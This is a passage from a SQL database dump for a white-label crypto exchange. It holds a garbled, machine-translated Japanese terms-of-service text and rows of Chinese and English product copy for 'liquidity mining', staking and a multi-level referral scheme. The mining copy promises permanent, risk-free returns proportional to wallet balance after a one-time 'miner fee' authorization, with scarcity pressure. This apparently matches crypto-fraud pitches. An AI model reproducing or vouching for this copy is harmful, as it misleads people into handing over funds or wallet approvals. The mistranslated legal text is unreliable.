    8.6保証なしです。PLATFORM_TITLEサービス、PLATFORM_TITLEプラットフォーム、webサイトはすべて「そのまま」と「利用可能」で提供されます。PLATFORM_TITLEサービスの利用可能性についてはこれ以上の約束はいたしません。具体的には、当社は、所有権、適合性、特定用途の適合性、および/または権利侵害をしないことを明示的に保証しません。当サイトに対していかなるアクセスも約束しません。いかなるPLATFORM_TITLEサービスまたはその中に含まれるいかなる材料も、連続的で、間断なく、タイムリーで、誤りのないものとします。当サイトで利用可能な過去のデジタル通貨の価格データの正確性、順序、適時性、または完全性については一切言及しません。PLATFORM_TITLEが当サイトを通じて提供している資料、情報、意見、予測または推定はあくまでも参考に過ぎません。変更する場合は予告なしに対応します。ウェブサイトおよび/またはウェブサイトで提供されている材料、情報、見解、予測または推定値の相関性、タイムリー性、正確性、十分性、ビジネス価値、完全性、信頼性をあなた自身で評価しなければなりません。そのため、PLATFORM_TITLEはいかなる保証も提供しません。また、PLATFORM_TITLEは、提供または提供された材料、情報、見解、意見、予測または推定に対するあなたの直接的または間接的な行動による、当サイトおよび/または当サイトの損失を一切受け付けません。platform_titleサービス、platform_titleプラットフォームやサイトで具体的な投資の提供のため、税務や法律アドバイスやはいかなる投資や製品に対するいかなる特定の投資家のためのいかなる提案。投資または製品に投資する前には、独立した財務、法律、規制、税務、またはその他の助言を求める必要があります。コンサルタントにアドバイスを求めないことを選択した場合、その投資や商品があなたに適しているかどうかを検討する必要があります。デジタルマネーワレット、電子マネーのワレット、銀行口座、クレジットカードおよびデビットカードに関連するデジタル通貨取引、デビットおよびローン請求の即時処理を保証するために合理的な努力を尽くしますが、PLATFORM_TITLEは金額について何も言及しないか保証しません。私たちは、銀行口座、クレジットカード、小切手の発行に関連する電子デビットカードおよびクレジットカードの要求が適時に処理されることを保証するために合理的な努力を尽くしますが、私たちが制御することができない多くの要因に依存して、処理を完了するのに必要な時間について、いかなる説明も保証もしません。本契約に規定された明示的な宣言を除いて、あなたはここで、PLATFORM_TITLEサービスおよびウェブサイトの使用およびアクセスについて、書面または口頭でのあなたの声明または理解に依存していないことを承認し、同意します。


    8.7責任を負いません。当社が制御できない異常な状況や予見できない状況によって直接または間接的に発生した遅延、履行の失敗、サービスの中断を含む本契約への違反行為について、当社は責任を負いません。本契約への影響はありますが、その結果は不可避なものとなります。私たちも責任を負いません。


    9.ウェブサイトの利用可能性と正確性です


    9.1アクセスと可用性です。PLATFORM_TITLEサービスへのアクセスは、変動が大きい場合や取引量が多い場合に劣化または利用できなくなる場合があります。これにより、PLATFORM_TITLEアカウントまたはPLATFORM_TITLEサービスへのアクセスが制限される可能性があります。取引の開始または完了ができなくなるほか、サポートの応答時間が遅れる可能性があります。


    (A)優良なサービスを提供するよう努力していますが、ウェブサイトまたは他のPLATFORM_TITLEサービスが中断されないことを保証しません。註文が実行され、受け付けられ、記録され、オープンに保たれること、またはPLATFORM_TITLEアカウントがアクセスできることを保証しません。と


    (B)特に非信頼とセキュリティの問題において、当社のカスタマーサポートの応答時間が遅れる場合があります。変動が大きい場合や取引量が多い場合などです。いずれの場合も、PLATFORM_TITLEは、サービスの中断、取引処理の遅延、またはPLATFORM_TITLEカスタマーサポートの応答の遅れによる損害については責任を負いません。


    9.2ウェブサイト正確性です。正確でタイムリーな情報をウェブサイト上で提供することを意図していますが、ウェブサイト(コンテンツを含みますがこれらに限定されません(以下の定義を参照))は、必ずしも完全に正確で、完全で、最新であるとは限らず、技術的に不正確であったり、印刷ミスであったりすることがあります。可能な限り完全で正確な情報をご提供し続けるため、当社のポリシー、製品、サービスに関する情報を含みますが、これらに限定されるものではありませんが、適用法の範囲内で随時変更または更新される場合があります。したがって、あなたはすべての情報に依存する前にそれを検証すべきであり、当サイトに含まれる情報に基づくすべての決定はあなた自身の責任であり、私たちはこのような決定に対して何の責任も負いません。これらに限定されるものではありませんが、第三者の資料へのリンクはnienceとして提供される場合があります。当サイトからアクセスまたはリンク可能なこのような第三者の資料に含まれる情報、コンテンツ、またはサービスのいずれの側面についても、私たちは責任を負いません。


    10。顧客のフィードバック、問い合わせ、苦情と紛争解決


    10.1 PLATFORM_TITLEに連絡します。何かフィードバック、問題、苦情がありましたら、弊社の「カスタマーサポート」のページから弊社までご連絡ください。urlはhttps://help.PLATFORM_TITLE.comです。ご連絡いただいた際には、お名前、eメールアドレス、ご自身を識別する必要があるかもしれないその他の情報、PLATFORM_TITLEアカウント、フィードバック、問題または苦情のある取引に関する情報をご提供ください。

    10.2クレームです。もしあなたがPLATFORM_TITLEと紛争がある場合、まずは私たちのサポートチームに連絡してこのような紛争を解決しようと試みることに同意してくださいます。弊社がサポートチームを通じて紛争を解決できない場合、あなたと弊社は第10.2節に規定されたクレームプロセスを使用することに合意します。あなたは、セクション10.4に規定された行動を開始する前に、このプロセスを使用することに同意します。あなたが10.4条に従って行動する前に、この10.2条に規定された手続きに従わない場合、私たちは、次のステップが完了するまで、関係する裁判所/当局にあなたの行動/申請を却下するように求める権利があります。PLATFORM_TITLEサポート部門と連絡してクレームを解決できなかった場合は、弊社のクレームリストを使用して、クレームの原因、クレームの解決方法、関連があると思われるその他の情報を記載してください。クレームフォームはPLATFORM_TITLEのサポートページhelp.PLATFORM_TITLE.comにあり、PLATFORM_TITLEカスタマーサポートから請求することもできます。クレームシートの提出後、私たちはあなたのクレームシートが届いたことを確認します。クレーム担当者(「担当者」)がクレームを検討します。当管理者はあなたの提供する情報に基づいてPLATFORM_TITLEで提供するいかなる情報もあなたの苦情に影響を与えずにあなたの苦情を考慮します。私たちがあなたのクレームを受信した後、15営業日以内に、当局者は、電子メール(\"解決通知\")を送信することによって、クレームで提起されたすべての問題を解決します。当局者は:(i)要求された方法でクレームを解決することを提案します;(ii)あなたのクレームを拒絶する決定をして拒絶の原因を説明します;あるいは、(iii)代替解決策を提示してクレームを解決します。場合によっては、当局者が15営業日以内にクレームに回答できない場合、当局者は(法律で禁止されていない限り)クレームに回答するのが遅れた理由を説明し、期限を指定します(我々がクレームを受け取ってから35営業日以内)。あなたに提示された解決案は、あなたが納得した場合のみ、私たちに拘束力を与えます。解決策を提案したからといって、クレームのテーマに関する不適切な行動や責任を認めることにはなりません。


    10.3もし私たちが上記のセクション10.2に規定されたクレーム手続きによってあなたのクレームを解決することができない場合、あなたは以下のセクション10.4(A)から10.4(B)に適用されるあなたの争議手続きによってあなたのクレームをアップグレードすることができます。


    10.4第10.2条に規定されたクレーム手続きが完了するまで、弊社はあなたのクレームの全部又は一部について、以下10.4(A)から10.4(B)に規定されたいかなる争議手続きも開始しないことにご同意くださいます。第10.2節またはこの第10.4節のいずれも、いずれの当事者も管轄権のある裁判所において、保全または同様の一時的救済を求めることを妨げるものと解釈されてはならないが、完了している。


    (A)電子マネーサービスです。クレームがいずれかの電子マネーサービスと<br>関係がある場合、あなたはクレームをFOSに提出する権利があるかもしれません。


    (B)この契約またはPLATFORM_TITLEサービス、PLATFORM_TITLEプラットフォームまたはウェブサイトの提供によって生じた、またはそれに関連するクレームまたは紛争について、上記10.2条に規定されたクレーム手続きによって解決できない場合、非-イングランドおよびウェールズの裁判所の排他的管轄権に提出します。ただし、消費者(取引、業務または専門性に関連する行為に従事していない箇人、「消費者」)は、管轄の裁判所でPLATFORM_TITLEを提訴するいかなる強制的な権利も、彼らの住む場所には侵害されません。


    11.データ保護です。


    11.1個人情報です。あなたに関連する箇人データ(個人であれば)を処理する可能性があること、また従業員および他の従業員または他の箇人(個人でなければ)にすでに提供(または将来提供)することを承認していただき、この契約またはPLATFORM_TITLEサービスに関連します。私たちは、このパーソナルデータトンを本契約の一部を構成するプライバシーポリシーに従って取り扱います。ですから、あなたは宣言し保証します:


    (A)すべての適用されるデータ保護およびデータプライバシー法に基づいて、あなた以外の箇人に関連する任意の箇人データを私たちに開示し、かつ、これらのデータは開示時に正確で、最新で、関連があります。


    (B)私たちにこのようなパーソナルデータを提供する前に、あなたが私たちのプライバシーポリシーを読み、理解したことを承認し、そのコピーをここで入手することができます。


    (C)私たちがプライバシーポリシーの代替バージョンを随時提供する場合、あなたは直ちにこの通知を読み、プライバシーポリシーの更新されたコピーを更新されたプライバシーポリシーを含むウェブページに提供またはリダイレクトします。


    12.安全です


    12.1パスワードセキュリティです。PLATFORM_TITLEサービスにアクセスするには、ユーザー名とパスワードを含むセキュリティ詳細情報を作成または取得する必要があります。あなたは、PLATFORM_TITLEサービスへのアクセスに使用される電子機器の安全性を保証し、PLATFORM_TITLEサービスへのアクセスに使用される任意およびすべてのセキュリティの詳細について十分な安全性と制御を維持する責任があります。これには、このような電子機器の紛失、盗難、または誤用を回避するためのあらゆる合理的な措置を取ることと、このような電子機器が暗号化およびパスワード保護されていることを保証することが含まれます。あなたの電子機器またはあなたのセキュリティ詳細情報の紛失または破損は、あなたのPLATFORM_TITLEアカウント、ならびにあなたのPLATFORM_TITLEアカウントおよび関連する任意の電子マネー、デジタルマネー、または資金の紛失または盗難アカウントへの第三者の不正アクセス<br>を招く可能性があります。ご関連の銀行口座とクレジットカードが含まれます。あなたは常にあなたの安全な詳細な情報を確保しなければなりません。例えば、書き留めたり、他の人に見せたりしてはいけません。PLATFORM_TITLEアカウントにログインするとき、コンピュータおよび/またはコンピュータ画面をリモートからアクセスしたり、他の人と共有することを許可してはいけません。PLATFORM_TITLEはいずれの場合も、あなたのID、パスワード、または2ファクター認証コードの提供、または画面共有、または他の方法であなたのコンピュータまたはアカウントにアクセスしようとする試みを必要としません。節3.2および4.10によって特別に許可されない限り、アカウントにリモートアクセスするために、任意の第三者に詳細な情報を提供してはいけません。任意の通信または通知の真正性に不確実性がある場合は、当サイトを介して常にPLATFORM_TITLEアカウントにログインし、任意の取引または必要な操作を確認してください。PLATFORM_TITLEの無過失、および/またはこの12.1節に規定された要求に従わなかったこと、または当社の通知またはアラートに従っていないまたは従っていない行動の結果、アカウントのログイン資格情報が漏洩したことによるいかなる損失に対しても、私たちは責任を負いません。


    12.2身元確認と検証です。PLATFORM_TITLEサービスにアクセスするには,ユーザーがeメールアドレスを提供し,パスワードを作成する必要があります。PLATFORM_TITLEは、ユーザのモバイルデバイス(ショートメッセージサービス(「SMS」)またはサポートされた時間ベースのワンタイムパスワードアプリケーションを介して二重のアイデンティティ認証を提供します。smsによる二重認証を可能にするには、認証された電話番号が必要です。ユーザは、PLATFORM_TITLEサービスにアクセスするための電子装置のセキュリティを維持し、十分なセキュリティを維持し、PLATFORM_TITLEサービスにアクセスするためのあらゆるおよびすべてのセキュリティ詳細を制御する責任を負います。これは、電子機器の紛失、盗難、または悪用を回避するためにすべての合理的なステップを取ることと、電子機器が暗号で保護されていることを確実にすることとを含みます。個人用電子機器またはセキュリティの詳細の紛失または漏洩は、第三者によるユーザーのPLATFORM_TITLEアカウントへの不正アクセス、任意の電子マネー、デジタルマネー、および/またはあなたのPLATFORM_TITLEアカウントに保有されている資金、および任意の関連アカウントの不正使用を引き起こす可能性があります。関連した銀行口座とクレジットカード/デビットカードが含まれます。


    12.3セキュリティ・ホールです。PLATFORM_TITLEアカウントまたはセキュリティ詳細情報のいずれかが漏洩した疑いがある場合、または詐欺または詐欺を企てている場合、またはあなたおよび/またはPLATFORM_TITLEに影響を与えるその他のセキュリティイベント(総称して「セキュリティホール」と呼ばれるサイバーセキュリティ攻撃を含む)を発見した場合、以下のようにしなければなりません。


    (A)できるだけ早く無料の電子メールでPLATFORM_TITLEのサポートを知らせますtrust@PLATFORM_TITLE.com、または私達に電話します:0808 168 4639、または+1(888)908 7930(国際料金を取ることができます);


    (B)セキュリティホール全体にわたって正確かつ最新の情報を提供し続けること。


    (C)セキュリティホールを減らす、管理する、または申告するために、我々が合理的に要求する手順を踏まなければなりません。タイムリーな通知が提供されていない適切な解決策を決定する場合、セキュリティホールが考慮される可能性があります。


    12.4あなたのコンピュータと設備の安全と保証です。PLATFORM_TITLEは、あなたのコンピュータまたは他のデバイスに影響を与える可能性のあるコンピューターウイルスまたは他の悪意のあるコード、フィッシング、スプーフィング、または他の攻撃による損害または中断に対して責任を負いません。信頼性が高く、いつでも利用できるウイルス検診および予防ソフトを定期的に使用することをお勧めします。また、SMSや電子メールサービスは詐欺やフィッシング攻撃に脆弱であり、当社からのメッセージを確認する際には注意が必要であることもご承知の通りです。


    13.普通です


    13.1あなたは適用法を遵守します。PLATFORM_TITLEサービス、PLATFORM_TITLEプラットフォーム、ウェブサイトをご利用いただいています。


    13.2リミテッドライセンスです。本契約の条項に基づき、本ウェブサイトおよび関連コンテンツ、資料、情報(総称して「コンテンツ」と呼ばれます)へのアクセスと使用を許可するための限定的、非排他的、譲渡不可能な許可を許可します。このウェブサイトまたはコンテンツの他の使用は、明示的に禁止されており、このウェブサイトまたはコンテンツの他のすべての権利、所有権および利益は、PLATFORM_TITLEおよびその所有者の財産です。全てであれ、一部であれ、複製、転送、配信、販売、ライセンス、リバースエンジニアリング、修正、配布または販売への参加、派生作品の作成、またはその他の任意の方法でコンテンツを利用しないことに同意します。「PLATFORM_TITLE.com」、「PLATFORM_TITLE」、「PLATFORM_TITLEPro」、「Pro.PLATFORM_TITLE.com」およびPLATFORM_TITLEサービスに関連するもの、またはウェブサイトに表示されるすべてのロゴは、PLATFORM_TITLEまたはライセンス元の商標または登録商標です。事前の書面での同意なしに、コピー、模倣、または使用することはできません。


    13.3禁止と条件付きの使用です。PLATFORM_TITLEサービスのご利用、他のユーザーや第三者とのやりとりについて、「利用禁止、サービス禁止、条件付き利用に関するポリシー」(付録1に記載)を遵守されることに同意されます。ここに含まれるもののいずれも、不正、不正、詐欺、非倫理的、または不正な目的のために電子マネーまたはデジタルマネーを付与する、またはいかなる不正、不正、詐欺、非倫理的、または不正な活動を促進する、または促進することを意味するものと解釈されてはなりません。当社は、あらゆる適用法、規制、制裁計画、法的手続き、または政府の要求を満たすために、必要な情報を常に監視、審査、保持、および/または開示する権利を保持します。


    13.4輸出規制と制裁です。あなたのPLATFORM_TITLEサービスとウェブサイトの使用は国際的な輸出規制と経済制裁要求に拘束されます。ウェブサイトまたはPLATFORM_TITLEサービスを介してデジタル通貨を送信、受信、購入、販売、取引、または保存することは、これらの要件を遵守することに同意したことを意味します。以下の場合、当サイト<br>を通じたデジタル通貨へのアクセス、またはPLATFORM_TITLEサービスの利用はできません。


    (A)あなたは、キューバ、イラン、北朝鮮、スーダンまたはシリア、または米国の禁輸、国連の制裁、欧州連合(eu)または英国財務省の金融制裁を受けた他の国の地域のいずれかで、その支配下にあるか、または国民または住民制度(それぞれの「制裁対象国」)に属します。または、もしあなたが当局(金融制裁実施局(英国財務省の一部)が時々発行する経済制裁リストに含まれますが、これらに限定されない場合、米国商務省の拒否者リスト、未確認リストまたはエンティティリスト、またはeuの金融制裁制度)(「制裁対象者」);あるいは


    (B)あなたは、制裁対象国(または制裁対象国の国民または居住者)または制裁対象者に対して、取得または保存されているデジタル通貨または電子マネー、またはPLATFORM_TITLEサービスを提供するつもりです。


    13.5修正します。電子マネーサービスに関する契約の変更を、少なくとも2ヶ月前に電子メールにてお知らせいたします。この場合、<br>変更の発効日までにお知らせがなければ、変更を受けてPLATFORM_TITLEサービスをご利用いただいたものとみなされます。もしあなたが変更を受け入れないならば、私達に知らせなければならなくて、本契約は2ヶ月の通知が終わる時終了します。2ヶ月の通知期限までのいつでも、本契約を無料で終了することもできます。私たちは、改訂されたプロトコルをウェブサイトに公開するか、または電子メールで送付することによって、改訂されたプロトコルがいつ発効するかを示す他のすべての改訂(他のPLATFORM_TITLEサービスに関連するものも含む)を行うことができます。可能な限り事前にお知らせするよう努めますが、合法的な場合には、修正されたプロトコルは直ちに有効であることを示すことができます。このような修正に同意しない場合は、PLATFORM_TITLEアカウントを閉鎖し、PLATFORM_TITLEサービスの使用を停止します。上記の方法で発行された修正通知は、あなたに通知するのに十分であることにあなたが同意し、PLATFORM_TITLEサービスへのアクセスおよび/または使用の継続は、修正に対するあなたの肯定的な確認応答を構成し、修正されたプロトコルを受け入れることを示すものとみなされるべきです。本契約の最新バージョンは随時ウェブサイト上で提供します。

    13.6両者の関係です。この合意のいずれの内容も、見なすべきではありませんし、また、あなたまたはPLATFORM_TITLEがパートナーまたはジョイントベンチャーとして、あなたまたはPLATFORM_TITLEが他方の代理人として扱われる結果になってはなりません。


    13.7他人のプライバシーです。PLATFORM_TITLEサービスを介して他のユーザーに関する情報を受信した場合は、その情報を秘密にし、PLATFORM_TITLEサービスに関連した用途にのみ使用しなければなりません。ユーザーの明示的な同意を得ない限り、取引および他の合理的に付随する機能(例えばサポート、照合、会計)を実行するために合理的に必要な場合を除き、ユーザー情報を第三者に開示または配布または使用することはできません。PLATFORM_TITLEサービスを介して他のユーザーにリクエストなしの通信を送信することはできません。


    13.8連絡情報です。弊社が送信する可能性のある通知またはアラート(実際のセキュリティホールまたは疑いのあるセキュリティホールを含む)を受信するために、あなたのPLATFORM_TITLEアカウントデータにあなたの連絡先(メールアドレスおよび電話番号を含む)を更新する責任があります。私たちがどのようにあなたとコミュニケーションするかについてのより詳しい情報は、付録3を参照してください。


    13.9税金です。あなたには、どのような税金がPLATFORM_TITLEサービスを介して行われたどのような取引にも適用されるか、そしてどの程度がPLATFORM_TITLEサービスを介して行われたどのような取引にも適用されるかを決定し、該当する税務機関に正しい税金の源泉徴収、徴収、報告、送金を行う責任があります。あなたの取引履歴はPLATFORM_TITLEアカウントから入手できます。


    13.10未認知財産です。私たちがあなたを代表して電子マネーまたはデジタル通貨を保有していて、私たちがあなたと連絡することができず、かつあなたがPLATFORM_TITLEサービスを数年間利用した記録がない場合、適用される法律は、私たちが電子マネーまたはデジタル通貨を特定の管轄区域の当局に認知されていない財産として報告することを要求するかもしれません。私たちは、私たちの記録に表示された住所からあなたを見つけることを試みますが、もし私たちがあなたを見つけることができなかった場合、私たちは、任意のこのような電子マネーまたはデジタルマネーを誰も認知していない財産として、特定の管轄区域の当局に引き渡す必要があるかもしれません。このような認知されていない資金から、休眠費やその他の管理費を控除する権利は、法律が適用される限り留保されます。


    13.11口座の所有者死亡します。安全上の理由から、あなたが死亡したことを確認する法的文書や、あなたが死亡したことを我々に納得させるその他の情報を受信した場合、私たちはあなたのPLATFORM_TITLEアカウントを凍結します。(i)あなたが指定した執行者/受託者が既にPLATFORM_TITLEの新しいアカウントを開設しているか、または彼らの名義でPLATFORM_TITLEの既存のアカウントを通知しています。そしてあなたのすべてのPLATFORM_TITLEアカウントがこの新しいアカウントに<br>転送されたか、または(ii)私たちはあなたが死んでいないことに満足している表形式の証明書を受け取りました。私たちはあなたが死亡した可能性があると信じる理由があるが、私たちが満足する形であなたの死亡を証明していない場合、あなたは私たちに直接または第三者による調査を許可し、私たちはあなたが死亡したかどうかを確認する必要があると考えます。私たちはあなたの死の証拠を受け取りました有効な遺言書またはそれに類する文書に指定された執行者/受託者は、新しいPLATFORM_TITLEアカウントの開設を要求されるか、PLATFORM_TITLE名義の既存のPLATFORM_TITLEアカウントに通知されることになります。あなたのPLATFORM_TITLE口座のすべての資金はここに入金されます。あなたが執行者/受託者を指定しない場合、我々は以下の権利を保持します:(i)遺言状またはこれに限定されるわけではありませんが、私たちが私たちの唯一の書類を受け取り、審査した上で、必要または適切であると判断した上で、あなたのPLATFORM_TITLEアカウントを承継する権利を有する者を、あなたの執行者/受託者とみなします。または(ii)あなたの財産に対する管轄権を有する裁判所が執行者/受託者を指定する命令を要求します。私たちの裁量で執行者/受託者の指定の有効性が不確実性がある場合、私たちはあなたのPLATFORM_TITLEアカウントと任意の使用を留保します。上記の規定により、指定された執行者/受託者が既にPLATFORM_TITLEアカウントを保有していない限り(この場合、追加の認証手続きが必要な場合があります)、PLATFORM_TITLEアカウントの所有者が死亡した後、指定された執行者/受託者が新しいPLATFORM_TITLEアカウントを開設しなければならず、ここであなたの執行者/受託者は新しいPLATFORM_TITLEアカウントの開設と本契約の第3節で要求される情報の提供を要求されることに同意します。PLATFORM_TITLEアカウントのコンテンツにアクセスできるようにします。


    13.12完全な合意です。(ここに組み込まれたファイルを含む)このプロトコルは、PLATFORM_TITLEとの間で行われたこのプロトコルの本契約に関するすべての理解とプロトコルを構成し、あらゆるおよびすべての以前のいかなる形態の議論、プロトコル、および理解(このプロトコルのいずれの以前のバージョンを含むがこれに限定されるものではない)を置き換えます。そしてPLATFORM_TITLEとの間の全ての性質です


    13.13説明します。本協議の章タイトルは便宜上のものであり、本協議のいかなる条項の意味または解釈も管轄しません。


    13.14譲渡と譲渡です。本契約はあなた箇人のものであり、あなたの権利、許可、利益および/または義務を他の誰にも譲渡することはできません。PLATFORM_TITLEサービスの品質に大きな影響を与えない限り、当社のライセンス、利益、および/または義務を、PLATFORM_TITLEに関連する合併、買収、または他社の再編の一部として、いつでも譲渡または譲渡することができます。上記の規定を遵守することを前提に、本合意は拘束力があり、当事者、その相続人および譲受人の利益に合致するものとなります。我々が契約を譲渡および/または譲渡する場合、あなたは契約を直ちに終了する権利を留保します。


    13.15権利を保証します。事前に承認を得ない限り、電子マネーまたはデジタルマネーにセキュリティを設定することはできません。


    13.16無効です。いずれかの適用法により、本契約のいずれかの条項が無効または実行不可能であると判定された場合、他のいかなる条項の有効性にも影響を与えません。執行不能条項が見つかれば、執行不能条項は遮断され、残りの条項は執行されます。


    13.17私たちの権利を行使します。私たちは必ずしも本契約の下での私たちの権利を厳密に実行するわけではないかもしれません。私たちはいつでも私たちの権利を行使しないことを選択した場合、これは一時的な措置であり、私たちはいつでも再び厳格に私たちの権利を行使する可能性があります。


    13.18言語です。本契約書およびあなたまたは私たちが提供しようとする情報または通知は英語となります。このプロトコルまたは他の文書の訳文は、あなたの都合のために提供されたものであり、英語の原文の情報を正確に表すことができない場合があります。不一致の場合は、本プロトコルまたは他の文書の英語版を基準とします。


    13.19制御権変更します。PLATFORM_TITLEが第三者エンティティによって買収または合併された場合、私たちは合併、買収、売却またはその他の支配権の変更のためにあなたから収集した情報の譲渡またはあなたとの関系(本契約を含む)の一部として権利を保持します。


    13.20生存します。本契約のすべての条項は、その性質上、本契約の満了または終了を超えます。停止または終了、PLATFORM_TITLEアカウントのキャンセル、PLATFORM_TITLEに対する負債、PLATFORM_TITLEプラットフォームまたはウェブサイトの一般的な使用に関する部分を含みますが、これらに限定されません。PLATFORM_TITLEとの論争、一般的な条項は、本契約の終了または終了後も拘束力と機能を持ち続けます。


    13・21法律を適用します。本契約と私たちの間の関係は、イングランドおよびウェールズの法律の管轄下にあるものとしますが、地元の強制的な法律または消費者が利用できる権利に従わなければなりません。

    ', '0', '2023-08-22 17:04:07', 0, NULL); +INSERT INTO `t_option_rules` VALUES (100122, '理财协议', 'zh', '

    理财歇息嘻嘻嘻嘻嘻嘻嘻嘻嘻

    ', '0', '2023-08-22 20:37:49', 8, NULL); +INSERT INTO `t_option_rules` VALUES (100123, 'DEFI挖矿说明', 'zh', '

    1.流动性挖矿

    流动性挖矿是本公司打造的一款辅助用户管理数字资产并且长期高效收益的理财功能。用户点击(支付矿工费)支付一定的矿工费就会立即产生收益,用户只需支付一次永久生效,后续无需再次点击支付,收益比例取决于用户钱包余额,余额越高获得收益比越大。

    注:(非出借)每6小时一个阶段每天发送4次收益详情,您可以通过收益详情查看详细收益情况。

    注:(本产品属福利项引流产品目前名额有限,后续将对用户增设数字资产评估,只对达标用户开启该产品,所以先到先得)。

    2.产品优势

    稳健型福利项:无需出借资金也可获得长期收益,保障用户资产安全,无需承担风险损失安心享收益。

    3.收益说明

    收益规则:支付授权成功后立即生效,每日固定时间段内发放收益,用户收益周期为6小时,24小时内共可获得4次收益。

    ', '0', '2023-09-08 11:12:25', 9, NULL); +INSERT INTO `t_option_rules` VALUES (100124, 'DEFI挖矿说明', 'en', '

    Liquidity mining


    Liquidity mining is a financial management function created by our company to assist users in managing digital assets and achieving long-term and efficient returns. The user clicks (pays the miner\'s fee) to pay a certain miner\'s fee, and the income will be generated immediately. The user only needs to pay once to take effect permanently, and there is no need to click to pay again. The income ratio depends on the user\'s wallet balance. The higher the balance, the greater the income ratio.


    Note: (non-lending) Earning details are sent 4 times a day every 6 hours, and you can check the detailed earnings through the earning details.


    Product advantages


    Robust welfare items


    You can obtain long-term returns without lending funds, ensuring the safety of user assets, and enjoying returns without risking losses.


    Income statement


    profit rule


    After the payment authorization is successful, it will take effect immediately, and the income will be issued within a fixed time period every day. The user income cycle is 6 hours, and a total of 4 incomes can be obtained within 24 hours.

    ', '0', '2023-09-08 11:16:31', 9, NULL); +INSERT INTO `t_option_rules` VALUES (100125, '质押挖矿说明', 'zh', '

    1.什么是质押挖矿?

    质押挖矿是本公司打造的一款帮助用户快捷进行链上质押获取奖励的工具产品。通过将数字资产质押在区块链网络,并获得基于POS(Proof of Stake,即权益证明)机制产生的奖励。在这个机制中,用户将数字资产委托给节点,节点在区块链上行使出块、打包交易等权利并获得奖励。用户根据锁仓数量按比例分享节点获得的奖励。

    注:(非出借)每6小时一个阶段每天发送4次收益详情,您可以通过收益详情查看详细收益情况。

    注:(本产品属福利项引流产品目前名额有限,后续将对用户增设数字资产评估,只对达标用户开启该产品,所以先到先得)。

    2.产品优势

    稳健型:质押挖矿可以获得第三方相对稳定的奖励,产品期限多样。

    3.投向生息资产说明

    质押挖矿是将您的数字资产质押在区块链上,以支持该区块链网络的运营,并获得相应的奖励。

    4.收益说明

    T日申购成功后,T+1日00:00开始起息,02:00利息结算。

    5.交易说明

    买入规则

    支持随时申购。

    6.风险提示

    提前赎回定期产品,系统将扣除该笔订单已经获得的部分收益。

    ', '0', '2023-09-08 11:18:50', 10, NULL); +INSERT INTO `t_option_rules` VALUES (100126, '质押挖矿说明', 'en', '

    What is staking mining?


    Pledge mining is a tool product created by the company to help users quickly stake on the chain to obtain rewards. By staking digital assets on the blockchain network, and obtaining rewards based on the POS (Proof of Stake) mechanism. In this mechanism, users entrust digital assets to nodes, and nodes exercise their rights to produce blocks, package transactions, etc. on the blockchain and receive rewards. Users share the rewards obtained by nodes in proportion to the number of locked positions.


    Note: (non-lending) Earning details are sent 4 times a day every 6 hours, and you can check the detailed earnings through the earning details.


    Note: (This product is a welfare diversion product. Currently, the number of places is limited. In the future, digital asset evaluation will be added to users. This product will only be opened to users who meet the standards, so it is first come, first served).


    Product advantages


    Robust


    Staking mining can obtain relatively stable third-party rewards, and the product term is diverse.


    Investing in interest-earning assets


    Pledge mining is to pledge your digital assets on the blockchain to support the operation of the blockchain network and obtain corresponding rewards.


    Income statement


    After successful subscription on T day, the interest rate will start at 00:00 on T+1 day, and the interest will be settled at 02:00.


    transaction description


    buying rules


    Subscription is supported at any time.


    risk warning


    If you redeem a regular product in advance, the system will deduct part of the income already obtained from the order.

    ', '0', '2023-09-08 11:19:05', 10, NULL); +INSERT INTO `t_option_rules` VALUES (100127, '推广中心规则', 'zh', '

    推广规则

    如果用户使用了您的邀请码注册,即为您的下级。这个用户再次的邀请用户,即为您的二级下级。 of Stake,即权益证明)机制产生的奖励。在这个机制中,用户将数字资产委托给节点,节点在区块链上行使出块、打包交易等权利并获得奖励。用户根据锁仓数量按比例分享节点获得的奖励。

    推广奖励

    如果用户使用了您的邀请码注册,即为您的下级。这个用户再次的邀请用户,即为您的二级下级。

    1.下级充值奖励。

    您的下级进行充值,您即可获得他充值金额的1%作为奖励。

    2.下级挖矿奖励。

    您的下级,如果进行了锁仓挖矿。那么你也可以获得对应的收益。

    例:A-B-C-D-E..

    A可以获得B收益的3%

    A可以获得C收益的2%

    A可以获得D收益的1%

    B可以获得C收益的3%

    B可以获得D收益的2%

    B可以获得E收益的1%

    ', '0', '2023-09-08 11:21:04', 11, NULL); +INSERT INTO `t_option_rules` VALUES (100128, '推广中心规则', 'en', '

    promotion rules


    If a user registers using your invitation code, they are your subordinates. This user invites users again and becomes your second-level subordinate. of Stake (Proof of Stake) mechanism. In this mechanism, users entrust digital assets to nodes, and nodes exercise their rights to produce blocks, package transactions, etc. on the blockchain and receive rewards. Users share the rewards obtained by nodes in proportion to the number of locked positions.


    promotion reward


    If a user registers using your invitation code, they are your subordinates. This user invites users again and becomes your second-level subordinate.


    1. Subordinate recharge rewards.


    When your subordinate recharges, you can get 1% of his recharge amount as a reward.


    2. Lower level mining rewards.


    Your subordinates, if lock mining is carried out. Then you can also get the corresponding benefits.


    Example: A-B-C-D-E..


    A can get 3% of B\'s income


    A can get 2% of C\'s income


    A can get 1% of D\'s income


    B can get 3% of C\'s income


    B can get 2% of D\'s income


    B can get 1% of E\'s income

    ', '0', '2023-09-08 11:22:23', 11, NULL); + +-- ---------------------------- +-- Table structure for t_own_coin +-- ---------------------------- +DROP TABLE IF EXISTS `t_own_coin`; +CREATE TABLE `t_own_coin` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT '主键ID', + `coin` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '币种', + `logo` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '图标', + `refer_coin` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '参考币种', + `refer_market` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '参考币种交易所', + `show_symbol` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '展示名称', + `price` decimal(20, 4) NULL DEFAULT NULL COMMENT '初始价格(单位USDT)', + `proportion` decimal(20, 4) NULL DEFAULT NULL COMMENT '价格百分比', + `raising_amount` decimal(20, 4) NULL DEFAULT NULL COMMENT '私募发行量', + `raised_amount` decimal(20, 4) NULL DEFAULT NULL COMMENT '已筹集额度', + `purchase_limit` int(0) NULL DEFAULT NULL COMMENT '预购上限', + 